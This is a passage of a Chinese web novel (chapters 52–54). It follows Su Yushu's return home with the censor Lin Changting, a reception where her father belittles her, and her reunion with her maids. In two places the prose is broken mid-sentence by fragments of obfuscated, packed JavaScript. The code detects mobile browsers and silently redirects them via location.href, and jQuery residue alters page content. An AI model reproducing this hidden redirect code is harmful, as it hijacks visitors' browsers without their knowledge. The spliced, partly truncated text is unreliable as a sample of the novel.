苏玉淑看着两人之间无声的较量,只觉得莫名其妙的有些好笑。偏偏身上还带着宿醉般的疲惫,此刻只能是眼不见心不烦—— “你们两个都出去!”我要再睡会儿,谁也不许进来吵我!”说罢,她干脆把头埋进枕头里,只露出乌黑的发顶对着两人。 二人面面相觑,空气中似乎还残留着方才剑拔弩张的余波,然而此刻,却被少女带着睡意的娇嗔彻底驱散。王掌柜轻咳一声,脸上浮现出几分无奈的笑意,将油纸包轻轻搁在床头的矮几上,又叮嘱了几句注意身体的话语,这才转身离开了房间。 林长亭望着苏玉淑毛茸茸的后脑勺,眼底的不悦逐渐消散,只剩下满溢的纵容。他帮她理了理被角,又把那包糖渍梅子往她手边挪了挪,这才轻手轻脚地退出房间,顺手带上了门。 苏玉淑听着脚步声渐渐远去,紧绷的身体终于放松下来,没过一会儿便又沉沉睡去。 “王掌柜,时辰尚早,玉淑今日颇为困倦,你还是多给她准备几个软枕吧。” “林大人,我自会悉心照料好自家小姐,我与小姐一同长大,自然清楚她想要什么。” “哼。” 二人不约而同地冷哼一声后转身离去。虽说二人身份地位相差悬殊,但男人之间的较量有时就是如此直白且幼稚。 林长亭满脸阴沉,黑着脸回到营地,喝道: “一个时辰之后启程,不得有误!” 52. 第五十二章 几日的劳累不断累积,苏玉淑实在是倦到了极点,难抵困意。 自从上了马车,她的眼睛就一直没睁开过。只是林长亭和王掌柜担心她的身体状况,没过一会儿就过来查看一番,简直是扰人清梦。 “鸩!!你在哪里!”苏玉淑不知第几次被吵醒后,终于气急败坏起来。她怒气冲冲地探出大半个脑袋,大声喊道,“你过来一下!” 原本就守在她马车旁的鸩当即飞身赶来,甚至都忘了要先征得自家少爷的同意。苏玉淑顶着乱蓬蓬的头发和乌黑的眼圈,语气中满是幽怨:“你抱着剑,就坐到车厢里。要是再有谁来叫我,你就砍谁,记住了吗?” 鸩迟疑着皱了皱眉:“少爷也砍吗?” “砍!” 苏玉淑扔下一句话后便一头扎进梦乡,她累得仿佛浑身骨头都要散了架,若不是天塌下来般的大事,谁都别想再去烦她。鸩轻叹一声,抱膝坐在车厢前,又将随身的软剑抽出,端端正正地摆在身旁。 “她还是你家的护卫吗?”王掌柜望着那一抹寒光,不禁倒吸一口凉气。 “或许已经姓苏了。”林长亭摇摇头,“还是别吵了,让她好好睡一觉吧。” 一路无言,苏玉淑睡了这段时间以来最好的一觉。 在她休整之时,苏家却彻底乱了套。 听闻整件事情经过后,苏老爷极为震惊,正怒不可遏地彻查东流盐场及其他商铺。他对苏玉鸿结交御史并处置得当一事赞不绝口,甚至认为苏玉鸿已然到了能够独当一面、继承家产的年纪。他在满心满意之余,甚至萌生了隐退的想法。 可对于他的女儿,他依旧是嗤之以鼻。 “女孩子家的,主意竟如此之大,还能想得到去盐场查探。这账本她竟也能翻得,看来日后这苏家要由她当家做主了!” 今日是马队到达师城的日子。 得知有御史大人护送,苏家众人以及关系要好的商户早早便在正门等候迎接。即便身处众人之中,苏老爷也毫不掩饰对女儿的贬损。苏玉鸿对此场景早已习以为常,从小到大,无论妹妹是崭露头角,还是自行其是,父亲都颇为不满。哪怕结果是好的,他也绝不允许此类事情发生。 如今有其他商贾世家在场,苏玉鸿虽有心辩驳,却也无计可施。 杜蕊琴远远地站在一旁,将这一出好戏尽收眼底。 众人纷纷附和着苏老爷的话,她却对此不屑一顾。苏玉鸿虽是个温和敦厚之人,但论天资、论胆识,哪一样能比得上玉淑。 她忍不住向前迈了一步,望着马车驶来的方向,轻声说道:“若是没有玉淑妹妹,只怕苏家就要大祸临头了呢。” 她的声音轻柔婉转,可说出的话却掷地有声。 众人顿时安静下来,所有人都转过头看向了她。杜蕊琴心中暗叫一声“不好”,但表情依旧平静得体。 苏老爷面露不悦:“杜小姐,您这话从何说起呢?” 杜蕊琴挺直了脊背,言辞极尽犀利:“苏老爷,玉淑是您的长女,她的能力您必定再清楚不过。此次出行,她不仅解决了盐场的问题,还帮了御史大人一个大忙。我们这些商户能有幸见到御史大人,全是玉淑的功劳。若不是她智勇双全,师城恐怕要经历好一阵子的腥风血雨了。” “她不过是个闺阁女子,就算有点本事,那也只是些小聪明,拿不上台面。”苏老爷有些下不来台,打着哈哈,发出几声干涩的笑声。 杜蕊琴直视着他那双上了年纪,略显浑浊的眼睛。自杜维去世后,她效仿母亲和苏玉淑,开始打理杜家事务,几家赌场和青楼在她的铁腕手段之下无不规矩。如今的她,也算得上是师城数一数二的商人了。 她没什么好怕的。 她既没有回应苏老爷的话,也没有顺着台阶缓和气氛的打算。杜蕊琴抬手掩面,笑得十分动人:“若这算是小聪明,那只怕有些人是蠢钝如猪了。” 再愚笨的人也能听出杜蕊琴话语中对苏玉淑的维护之意。她毫无惧色地立于众人之间,宛如寂静森林中绽放的唯一花朵,艳丽又霸道。 苏老爷正欲再找些说辞圆场,苏玉鸿及时打断了他:“爹,杜大小姐所言极是。咱们师城的商人经商艰难,历经数代才奠定如今的家业,有玉淑这般争气的女儿,这是您的福气。多谢杜小姐为小妹仗义执言,期望小妹能如您一般,早日独当一面。” 他看上去谦卑温良,言辞间满是诚恳,毫无附和讥讽之意。 “时间差不多了,想来玉淑妹妹也该到了。” 她还是愿意给他这个面子的。 苏玉鸿笑容和善,不动声色地为杜小姐腾出一片空间,让她能更自在地待着。他打心底里敬佩杜家大小姐,仿佛能从她身上看到妹妹的影子——自强、美丽且倔强。 车马声恰时从远处传来,众人纷纷伸长脖子,想要抢先一睹这位御史大人的真容。马蹄踏在巷中,声响格外清脆,杜蕊琴不禁暗自为她捏了一把汗。 这里人这么多,她可千万别蓬头垢面的啊! 马队的最前方是叶英,他器宇轩昂地在前面开路,身体随着马儿的步伐有节奏地律动着,尽显潇洒少年郎的风采。林长亭骑马紧随其后,他并未身着官服,而是穿着一身夏云灰色的窄袖便袍,脚蹬乌皮靴,头顶翡翠小冠,这唯一的一抹亮色既精致又不失庄重。 王掌柜骑马守在车厢旁,难得的是,他今日换上了暗蓝色的褙子,头戴无脚幞头,更显得利落洒脱。他今日这一身装扮,不像是个商人,倒像是一位忠实的侍卫。 “吁——” 马队稳稳地停在了苏家大门前,众人见状便纷纷簇拥上前迎接。苏老爷熟练地向官员跪拜道:“草民苏高朋,拜见林大人!” 林长亭翻身下马,瞧见面前黑压压地跪了一片人,他微笑着摆了摆手:“此处并非公堂,大家不必行跪拜之礼。” 得到了御史大人的应允,苏老爷这才壮着胆子站起身说道:“林大人,此次出行辛苦。犬子和小女给您添了不少麻烦,在下略备薄酒,为您接风洗尘……” 话尚未说完,林长亭的目光已然越过人群,落在了那辆半掩着车帘的马车之上。 “接风洗尘之事不必着急,苏老爷,还是先让令嫒下车歇息吧。她为苏家,更为朝廷处理盐场事宜,连日奔波,可谓是劳苦功高。” 苏老爷脸上的笑容瞬间一僵,显然未曾料到这位御史大人竟会首先提及苏玉淑,且言语之中满是维护之意。他心中虽诧异不已,但在御史面前不敢有分毫表露,只得尴尬地应道: “是,是,林大人所言极是。” 话音刚落,车厢的门帘便被一只纤细却有力的手掀开。 石竹取过小凳,稳稳地摆在车下,绿萝紧随其后,利索地扎好了车厢的帘子。 杜蕊琴满脸疑惑地看向身旁的苏玉鸿,压低了声音:“这两个不是玉淑身边的侍女吗?怎么此时会在车里?” 苏玉鸿也低下头,轻声应道:“母亲早料到今日的场面,她命我备马,送侍女提前在城外驿站接应。” 蹬——蹬—— 一道倩影翩然而至,映入众人眼帘的正是梳妆妥当的苏玉淑。那珊瑚红的百迭裙将她衬托得愈发秀美出众,初桃粉的对襟褙子更添了几分轻盈潇洒。她难得地梳起了高髻,头戴一顶镏金白玉珠冠,显得端庄持重。那小巧的象牙冠梳,又恰到好处地展现出少女的俏皮可爱。 她微微提起裙摆,迈着轻盈的步伐款步而来。苏玉淑的脸上不见半分倦怠,一双明眸顾盼生辉,粉扑扑的脸颊好似盛开的桃花。她款步走到众人跟前,优雅地行礼道:“见过林大人,见过父亲、兄长。” 林长亭的呼吸都轻了半分。 他曾设想过她醒来后的模样,或许会带着旅途的疲惫,或许难掩初愈后的苍白,可他万万没想到,她竟是这般容光焕发神采奕奕。前几日那个在马车上困得连眼睛都睁不开,甚至嚷着让鸩去砍人的小姑娘仿佛只是他的一场错觉。 苏玉淑的目光清澈如溪,众人探视的眼神不断落在身上,可她不仅没有丝毫怯懦与闪躲,反而透着一种久经世事的从容与淡然。 林长亭那难以掩饰的欣喜落入众人眼中,自然又是几家欢喜几家愁。 他清了清嗓子,故作疏远地问道:“苏大小姐路途劳顿,可还有不适?” 她目光扫过神色各异的众人,只是轻轻一瞥,便转身向林长亭。 苏玉淑微微屈膝行了一礼:“多谢林大人关怀,玉淑已无大碍。” “无妨便好。”林长亭微微一笑,目光在她身上停留片刻,随即转向苏老爷,“苏老爷,既然令嫒已平安归来,不如先移步府中再作商议?” 苏老爷这才如梦初醒,赶忙侧身引路:“林大人请,各位乡亲父老请。” 众人簇拥着林长亭朝府内走去,苏玉淑跟在后面与杜蕊琴交换了一个眼神。杜蕊琴眼中闪过一丝担忧,而苏玉淑则回以一个安抚的微笑,示意她不必担心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611399|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏玉鸿走在苏玉淑身旁,轻声说道:“妹妹,你受苦了。” “哥,咱俩之间何必说这些。”她俏皮地撞了撞他的胳膊,“午饭我肯定吃不饱,晚上往我院子里多添几道菜就行。” “好好好,都听你的。”他宠溺地笑着,却又压低声音叮嘱着:“今日人多,中午别让父亲难堪,听到没?” 苏玉淑撇了撇嘴:“知道啦,哥你放心,我已经长大了,不会让爹下不来台的。” 看着玉淑如兰花般傲立的身姿,苏玉鸿心中五味杂陈。 她的确长大了。 苏玉淑脸上洋溢着热情的笑容,她已能娴熟地在众人之间周旋。每当见到各家掌柜和世交长辈,她总能恰到好处地寒暄,既端庄得体又不失亲切之意,举手投足间尽显一家之主的沉稳与干练。 她与商户们谈论师城的商道近况,分析得头头是道,所提出的见解更是让几位经验丰富的掌柜暗自赞许。就连之前对她颇有意见的几位苏家旁系长辈,此刻也收起了轻视的态度,看向她的目光中也添了几分认可。 苏玉淑从容不迫地应对着四面八方的目光,仿佛她天生就该站在这样的场合中央,所有的关注与议论都理应化作她前行的基石。 不知为何,苏玉鸿只觉眼眶微微湿润。 妹妹长大本应是件值得欣喜之事,可为何心中却莫名涌起一丝伤感。她学着大人的模样把所有的疲惫与委屈都藏于身后,可其中的艰辛唯有她自己清楚。 他转过身去,轻轻拭去眼角的泪水。 等候在厅堂之中的母亲,早已按捺不住内心的激动。见到女儿姗姗来迟,她赶忙快步迎上前去紧紧握住苏玉淑的手,仔细端详着她的脸庞,眼眶也微微泛红: “淑儿,我的好孩子!可算平平安安回来了!一路上可累坏了吧?你呀,可把娘吓坏了……快让娘看看,有没有受伤?有没有照顾好自己?是不是瘦了?” 苏玉淑感受到母亲掌心传来的温度,心中一暖,险些装不下去。 她回握住母亲的手,笑着摇了摇头:“娘,我没事,好着呢,您看我这不是好好的嘛,还胖了点儿呢。”说着,她俏皮地转了个圈,逗得苏夫人破涕为笑。 她拉着玉淑的手摸了又摸,久久舍不得松开。苏夫人又看向不知何时走进来的林长亭,不住地拜谢道:“林大人,这次多亏您照顾小女,真是感激不尽。” 林长亭微微颔首:“苏夫人客气了,苏大小姐聪慧过人,此次之事,若没有她相助,只怕没那么容易解决。我不过是尽了自己的一点微薄之力,做了我该做的事而已。” 苏老爷在一旁看着这对母女情深的场景,神色略显复杂,想说些什么,却又不知从何开口,只得在一旁干咳两声,打破了这温馨的氛围—— “林大人一路舟车劳顿,劳苦功高,咱们还是先入席用餐吧。这一路风餐露宿,想必大人早已是饿了。”他一边说着,一边打算引领林长亭前往正厅。 “多谢苏老爷。”林长亭脸上挂着笑容,可眼神却透着冰冷。他欠了欠身,将苏玉淑让到众人前面,“苏小姐此次辛苦了,理应坐上座。” 众人哗然。 东梁向来重文重礼,女子登上宴席上座这等事,任谁都是头一回见识。 苏玉淑与他那双眼对视,只见林长亭一脸戏谑,她立刻领会了他的意图—— 他今日是要在苏家为她讨回公道。 片刻震惊过后,苏玉淑俯身行礼:“多谢林大人美意。只是礼法不可轻慢,家父在此,小女不敢居功放肆。还望林大人入正位,给苏家个脸面。” 她像无风的海洋,平静得可怕。 眼下的得失于她又有何重要,她苏玉淑又怎是图一时出头畅快之人呢? “既然苏小姐发话了,我也不多强求。”林长亭的嘴角微微上扬,他张开手臂做了个“请”的手势,侧身让苏老爷先行。 “怎敢怎敢,林大人,您先请——” 苏家霎时间热闹起来,苏玉淑冷眼看着众人于她身旁鱼贯而过,仿佛这所有的喧嚷都与她无关。 自己的经营与辛苦对世人来说不过是一场痴梦,林长亭一句话却能让这教条礼法翻天覆地。 何等的讽刺,何等的可笑! 她不会止步于此,也不能止步于此。她不会借助男人的力量来挽回自己的颜面,更无需依靠强权来树立自身的威严。 只是这片压在所有女子身上的天,也该变一变了。 53. 第五十三章 觥筹交错之间,众人虚与委蛇,苏玉淑强提着一口气谈笑周旋。她远远望着被众人簇拥,如众星拱月般的林长亭,两人之间仿佛横亘着一条无法跨越的星河。 又送走一位看似嘘寒问暖,实则打探商情的长辈后,苏玉淑终究还是按捺不住彻骨的疲累。她悄悄弓了弓背,手指用力按压着太阳穴。 “大小姐,我送您去休息吧。”冷眼旁观许久的王掌柜不知何时出现在她身旁,他目光中的关切如决堤的洪水般难以自抑,“您一路奔波,实在不宜再撑下去了。” 苏玉淑挤出一个勉强的笑容:“我没事。今日父亲设下宴席,我不能扫了他的兴。” 她坚强得宛如冬日霜雪中傲然挺立的腊梅。 王掌柜心疼她劳累,却也无能为力。她说得没错,今日苏家大摆风光宴席,正是洗刷私盐一案影响的绝佳时机。大小姐不仅是这起事件的亲历者,更是代表着苏家的脸面。她若意气风发,苏家上下便有了底气,她若退缩不前,那苏家可就真要被牢牢钉在耻辱柱上了。 “苏大小姐,这个樊城……” 又有一位别家商号的掌柜举着酒杯发问,这哪里是什么接风洗尘,分明是趁机打听。 “大掌柜的,您有什么尽管问我便是。此番前往樊城,我可是见识了不少呢。”王掌柜举起酒杯,一饮而尽,他那扑面而来的保护之意让林长亭都不禁侧目。 他的目光穿过人群,轻柔地落在她身上。 苏玉淑笑意盈盈,妆容精致得毫无破绽,可林长亭还是能察觉到她身上难以掩饰的疲惫。他微微皱了皱眉,指尖下意识地摩挲着酒杯边缘,杯中琥珀色的酒液晃出圈圈层层的涟漪。 他的目光中没有平日的疏离,反而多了几分不易察觉的复杂。 苏玉淑似乎有所感应,眼角的余光不经意间与他交汇。刹那间,她如被灼伤般迅速移开视线,端起酒杯轻抿一口。酒水辛辣,却压不住她心中那阵莫名的悸动。 今日这场宴席,对她来说是战场,对旁人而言是戏台。而林长亭,便是那戏台旁最清醒的看客。 “苏老爷,私盐一案虽说基本已经了结,但其中的诸多细节,还需大小姐撰写一份案供才行。这案供乃是头等大事,想来苏老爷也不愿有所耽搁……” 此话一出,整个席面的气氛瞬间冷了几分。林长亭话语里的威胁之意十分明显,就算是再愚笨的人也能听得出来。 苏老爷立刻变了脸色,他尴尬地笑道:“林大人有令,苏家哪敢不从。我这就吩咐小女去写,明日之前必定送到您府上。” 他摆了摆手,绿萝早就眼巴巴地看着这边,就盼着这一刻。她顾不上其他,匆匆行了一礼后,便架起苏玉淑的胳膊说道:“小姐,我们回院子。” 直到走在长廊下,她才有了几分家的真切感受。 她离去之时尚是夏末,而如今已然步入初秋。廊外石榴树的枝叶被凉风吹卷着,打着旋儿飘落于青石板上,碎成一地斑驳的枯黄。她拢了拢身上的薄衫,微凉的丝缎缠绕上她的指尖,苏玉淑这才惊觉这场宴席竟已耗去她大半的心神。 绿萝扶着她的手格外用力,她的小姐人虽已归来,却不复从前模样。她眼眶一阵酸胀,百般滋味涌上心头。主仆二人一路默默无言,影影绰绰的日光仿佛随风摇晃,将她们的脚步拉得忽远忽长。 又转过一道弯,苏玉淑远远瞧见自己院落里的那株老槐树,那细碎精巧的花朵已然踪迹全无,唯有一抹深绿静静地伫立在那里。 “我走的这段时间里……家里可有什么变化?” 她的声音有气无力,宛如一根透支了生命的琴弦,每一个音节都透着难以言说的疲惫。 绿萝脚步蓦地一顿,扶着她的手不自觉地又攥紧了几分:“家里一切都好,老爷这段日子对生意上心了不少,每日都会去铺子照看。只是……只是偶尔傍晚时分,他会在您院门口发上一会儿呆。夫人这段时日心里难过,每次把我们叫过去打探消息时都会落泪。小姐你回来,她真是开心极了。还有街上,新开了一家蜜饯铺子,听说是从西边来的,有咱们东梁没有的瓜果……” 绿萝的声音愈发低沉,她终究还是忍耐不住心中的委屈,猛地扑进苏玉淑的怀里:“小姐,小姐你终于回来了,小姐呜呜……我以为,我以为再也见不到你了……” “说什么胡话呢……傻丫头。”她笑容宠溺,然而眼中却不见发自内心的欢愉,“我这不是平平安安地回来了吗?” “可是……可是……”绿萝抽噎得难过,“我总觉得小姐和之前不一样了。” “还记得我离家之前,那时我们总是一同嬉戏玩闹,我还口出狂言,说什么想要做个男人,如今想来,实在是荒唐可笑。如今苏家困境未解,朝堂之上又纷争迭起,从前的我真是太过幼稚了。绿萝……我已想好接下来该怎么做了。” 不等苏玉淑继续往下说,绿萝便紧紧握住她的手,再也不松开。她眼中满是泪水,那倔强的神情和自家小姐如出一辙。 “小姐,你去哪儿,绿萝就去哪儿。天涯海角我都陪着你,这次别再丢下我了。” “还有我。” 石竹远远听到动静,打开院门守在一旁,二人的对话尽数落入她耳中。石竹握着酒樽的手微微颤抖,她大步走向苏玉淑,将酒高高举过头顶。 “大小姐离家时,石竹未能折柳相送。如今大小姐归家,请满饮这杯团圆酒,让石竹为您接风洗尘!” 她深深鞠了一躬,眼泪用力地砸入尘埃。 苏玉淑只觉喉咙酸涩,心中五味杂陈。 绿萝与石竹自儿时起便伴她左右,她们不仅是最忠实的仆人,更是她最要好的朋友。此次出行,她见识到了山川的广袤无垠,也体会到了人心的险恶难测,更是立下了鸿鹄之志,可却忘了回头看一看。 无论前路是刀山火海,还是万丈深渊,只要身边有挚友相伴,便不算真正的孤身一人。 她从石竹手中接过酒樽,指尖传来金属微凉的触感。苏玉淑仰头将酒液一饮而尽,辛辣的酒意顺着喉咙滑落,在心底化作一股温热的暖流,驱散了连日来的疲惫与心中的寒意。 院中的老槐树在秋风中轻轻摇曳,仿佛也在为这久别重逢的时刻低吟浅唱。苏玉淑放下酒樽,扶起石竹的身子,拭去她脸颊的泪痕,又轻轻拍了拍绿萝紧握的手背。 她看着彼此的脸轻声说道:“从今往后,我们三人再也不分开。” 苏玉淑不惧前路艰难,不畏壮志难酬,她只怕所爱之人溺毙在这苦海人间。 她绝不允许这种事情发生。 “回家,我们回家。” 外面的歌舞声渐渐熄了。 她静静地坐在门廊前,身上多余的装饰已尽数褪去。她就这般安静地凝视着逐渐黯淡的天空,暮色宛如一方巨大的墨砚,将最后一丝光亮都晕染成了沉沉的灰蓝。 她忆起白日宴席上林长亭那双深邃得不见底的眼睛,忆起父亲刻意的打压,忆起商号掌柜们或探究或算计的目光。那些面孔在她脑海中相互交织,宛如一张无形的网,勒得她几乎喘不过气来。 廊下的木板有些冰凉,她却全然未觉,只是将手肘撑在膝盖上,指尖无意识地描摹着上面细密的纹路。晚风裹挟着草木的清香拂面而来,带着初秋独有的凉意吹起她额前的一缕碎发。 噔噔噔—— “是谁啊,这个时候来咱们院子。”绿萝探出头来,她甩了甩做桂花酿而沾上水的手,“来了!” “王掌柜……您怎么这个时候来了?”绿萝犹豫了一下,还是用身体挡住了院门,“您来找大小姐有什么事?” 王山微微一笑,往后退了半步,眼神谦卑恭顺:“是生意上的事,有东西需要大小姐过目。” “那麻烦您到偏厅稍等一会儿,您这个时候来……不太符合规矩。” 绿萝堵在门口,丝毫没有让开的意思。苏玉淑听到动静后站起身来:“绿萝,让王掌柜进来吧。” 她的声音平静得没有一丝波澜,听不出任何情绪。王山走进院子时,目光不由自主地扫过树下那张空着的石凳,他仿佛能看见大小姐在这里喝茶对账的情景。 那本应是她闲适的人生。 石竹适时地递过来一件披风,细心地将苏玉淑略显瘦削的身体裹了起来:“小姐,我去沏壶茶来。” 王山垂着手立于廊下,他自身后取出一件以蚕丝包裹之物,双手恭敬奉上:“大小姐,这是金匠师傅们连夜赶制的发簪,请您过目。” 丝巾被缓缓掀开,一支通体莹白的玉簪安静地躺在锦盒之中。簪头处由黄金打造的金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623617|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂花瓣层层交叠,簇拥着一颗鸽血红宝石,恰似林间落日。几缕掐丝金线流苏在廊下微弱的光线里,折射出温润而又锐利的光芒,仿佛将整座樊城的秋色都浓缩在了这寸缕之间。 玉簪的雕工十分精妙,每一片金桂花瓣的脉络都清晰可辨,边缘打磨得圆润光滑,既留存了金属的冷硬质感,又蕴含着几分秋日余晖独有的温暖。 “好,实在是太好了!”苏玉淑双眼放光,先前那股落寞之意消失得无影无踪。她紧紧地握着这只簪子,嘴角泛起自信的笑容,“就是它!有了它,我们盈字号进军京城就更有底气了!只是这簪子做工如此精细,能实现量产吗?” 见她恢复了往日的活力,王山也情不自禁地笑了起来:“这簪子是今日午后刚打造出来的,我就知道您看了一定会高兴。师傅们还需要再仔细推敲一些细节,量产想来是不成问题。不过,盈字号的红宝石存量不足……尤其是像这样品质上乘的。” “可办法解决?” “可以考虑从盈字号的其他分店调配货物,或者……”他的语气突然停顿了一下,眉头也微微皱起。 “王掌柜无需顾虑,您直言便是。” 面前的少女眼眸中似有星海闪烁,若想成为大小姐的得力臂膀,他又怎可畏首畏尾?王山抬起头,脸上满是从未有过的果敢锐气:“大小姐,我有一计。” “但说无妨。” “距离年底清账尚有一段时间,盈字号的账面上盈余颇为可观,我们可以大规模收购市面上的红宝石。其一,可囤货居奇,防止他人仿制。其二……” “其二,我们还能借此将簪子的名声传播出去,吸引高门贵女,拓宽几条京中的人脉门路。”苏玉淑狡黠一笑接着说道,“若我没记错,有几家秦楼楚馆和大户人家的账还未结清。不如让他们用宝石来抵账,如此一来,两下相宜,你意下如何?” 王山点点头:“大小姐的主意极好,我回去就办。只是……此事还需禀明老爷吗?” 苏玉淑刚要说“不必”,却又想起了绿萝的话。 父亲独自伫立在自家院门前时,会思索些什么呢?会忧心她的安危吗?会有片刻的思念之情吗?亦或是,他其实也期望着女儿能更加成熟呢? 她沉默了片刻,摩挲着玉簪上那冰凉的宝石轻声说道:“还是告知父亲一声吧。毕竟他是苏家的主心骨,此事关乎商号的大局,理应让他知晓。你明日一早去书房禀报,就说盈字号已经拟定收购红宝石,具体账目过几日会呈给他过目。” “是。” 王山暗自叹息了一声。 她虽是苏家的大小姐,可生活却也由不得自己。他将她的苦闷看在眼里,一种本不该有的想法悄然滋生。他是苏家商号的掌柜,虽说身份并不相配,可倘若他能为大小姐撑起一片天,护她周全,让她不必再如此步步为营强撑硬扛,那该有多好。 他勉强挤出一个笑容,这个不合时宜的念头,此刻只适合深埋在心底。 王山躬身回应道:“大小姐早些歇息,我回盈字号再处理一下事务。这个……您和两位姐姐留着吃。” 他放下一个油纸包,上面盖着苏玉淑从未见过的深绿色签纸,想来正是绿萝提到的那家新开在师城中的铺子。 王山转身离开时,脚步比来时沉重了几分,他没有再说什么。廊下的灯火将他的影子拉得很长,最终消失在了夜色深处。 苏玉淑紧了紧握着玉簪的手,宝石的冰凉从指尖蔓延而来,让她那纷乱的心绪渐渐平复。 待太阳再度升起,她必须把所有的委屈、脆弱与迷茫都藏于心底。逃避无法解决任何问题,正所谓“天将降大任于斯人也”,若想成鸿鹄之志,就必须坚定地一往无前。 她抬起眼眸,望向天边那轮初升的明月。清冷的月光如水般洒落,映照在她略显苍白的脸上,却让她的眼睛愈发清亮。 老槐树的叶子沙沙作响,好似在低吟她如梦般的未来。 “大小姐——吃饭了——” 屋内饭菜飘香,绿萝和石竹的笑脸成了这秋夜最温暖的慰藉。苏玉淑小心翼翼地将玉簪放入锦盒,合上盖子的刹那,仿佛也将纷争与算计暂时封存。 她深吸一口气,带着释然的微笑朝屋内走去,大声回应道: “我来啦!” 54. 第五十四章 太阳再次升起之际,她已然变回了那个活力满满的苏玉淑。 绿萝正打算唤她起床,却惊觉往日里半天都叫不醒的大小姐,此刻竟已自行洗漱完毕。 “小姐?您今儿怎起得这般早?不再睡一会儿了吗?”绿萝有些慌乱地站在门口,略作思索后便转身朝外走去,“我这就去把早饭端来。石竹新做了玫瑰软糕,好吃的很呢!” 苏玉淑笑着拉住她的手说道:“留着晚上当夜宵。你们俩收拾收拾,今儿咱们出去吃。” “当真?” “我何时骗过你!”她轻轻戳了戳绿萝的脑门,“这次出门没带上你们,我心里也过意不去。今天咱们去盈字号,正好也给你们俩添置些东西。顺路再去趟杜家,昨日人多嘴杂,我都没能和杜大小姐说上话。” 绿萝高兴得直拍手:“那我这就去叫石竹!小姐您等着我们呀!” 三人许久未曾像此刻这般一同挤在马车里了。 石竹和绿萝兴奋得如同孩童一般,叽叽喳喳地讨论着师城中新开的铺子,近来在少女群体中流行的花样,还有当下师城人尽皆知的“秘闻”—— 这位风流倜傥才貌双全的御史大人,到底要花落谁家呢? “你们是说,知府的女儿要嫁给林长亭?”苏玉淑双眼瞪得溜圆,“这是谁说的啊?” “夫人身边的珍珠说的。”石竹笃定地点了点头说道。 “还有别的传闻吗?” “还有的说转运使的姨娘们为了见林长亭大打出手,那场面可激烈了。”绿萝赶忙附和道。 “哈哈哈哈哈哈!”苏玉淑笑得前俯后仰,连马车都跟着晃了三晃,“哈哈哈……哈……可是知府家明明只有两个儿子啊!到底是哪个儿子要嫁给林长亭啊,哈哈哈哈……还有啊,转运使本就是林长亭的假身份,怎么还冒出几个姨娘来,哈哈哈……” 她笑得肆意张狂,石竹则一脸严肃地凑到她耳边,轻声说道:“小姐,依我之见,眼下正是您下手的绝佳时机。” 苏玉淑抬手擦去眼角因大笑挤出的泪水:“你这话是什么意思呀?” “林大人归来后,仅仅公开露面一天,便有如此多的人盯上他身边的位置。您与他一同破案,又十分投缘,正所谓近水楼台先得月,小姐您应当先下手为强才是。” “正是,奴婢也觉得林大人不错,是个好人选。”绿萝点点头附和,紧接着又把头摇得像个拨浪鼓,“不行,我还没和小姐待够呢,管他是谁,我们小姐才不稀罕呢。” 苏玉淑被两人你一言我一语逗得哭笑不得,她轻轻敲了敲绿萝的头顶:“你们还是多操心操心咱们吃什么这正经事儿吧,大业未竟,我哪有心思去想这些儿女情长。更何况……” 她望着车窗外一闪而过的青石板路,阳光透过雕花窗棂,在衣袖上投下细碎的光斑,“姻缘这件事,并非我一人能说了算。林长亭肩负的责任不会比我少,想来他也不会感情用事。” 绿萝轻轻耸了耸肩,便不再言语。 她对自家这位大小姐的性子可谓了如指掌,虽说大小姐比以往成熟了许多,但在感情这件事上,依旧是懵懵懂懂,离开窍还差得远呢。 见气氛有些尴尬,石竹适时地指了指窗外:“小姐,闻香楼新推出了不少菜品,尤其是十六碟……” 一提到“吃”,苏玉淑果然上钩了。她一脸兴奋地问道:“十六碟是什么?” “十六碟是闻香楼新出的菜式,从冷碟到甜糕,一桌席面总共十六样,所以称作十六碟。” “那咱们现在就去吃!” “小姐,您先别急,十六碟要到中午才开始售卖呢。依我看……”石竹拍了拍她的手背,“咱们先去别家买些糕点垫垫肚子。上午先去盈字号把正事办妥,中午再一同前往闻香楼。” “就按你说的办!” 石竹与绿萝对视一眼,随即小心翼翼地开口:“大小姐,这一桌子菜咱们三人肯定吃不完,不如……不如把林大人也叫上?” “这……” “小姐,您忙完正好可以和他再深入探讨一下进京之事,毕竟这不是小事,必须慎重再慎重。” 苏玉淑叹了口气:“也有道理……那我等会儿派人去他府上通报一声。” “叶英呢……”绿萝抿了抿嘴,试探着问道,“不能让他去吗?” “他们现在大概都有正事要忙,也没必要再盯着我们了。林长亭那边缺人手,叶荣叶英回去还能帮上他的忙。” 就在这时,马车忽然摇晃着在街角停了下来。绿萝掀开帘子,惊喜地指着窗外:“小姐快看,盈字号到了!门口新挂的云锦幌子可真漂亮!” 苏玉淑顺着绿萝的目光望去,只见盈字号的朱漆大门前,果然悬着一块崭新的云锦幌子,石红色的穗子在晨风里轻轻摇曳,上头用金线绣着的“盈”字在阳光下熠熠生辉,比往日更添了几分气派。 她笑着推开车门,率先跳了下去,青石板路被晨曦的霜露浸润得微湿,空气里混着淡淡的泥土气息和街边小吃摊飘来的甜香。 “快下来!”她回头朝着马车里的两人招手,话音刚落,就看见王掌柜笑容满面地迎了出来。 他抱手作揖,声音洪亮:“大小姐安好。” “王掌柜,多有打扰了。从樊城过来你都没能好好休息,身体还吃得消吗?”苏玉淑指了指幌子,“这是什么时候换上去的?” 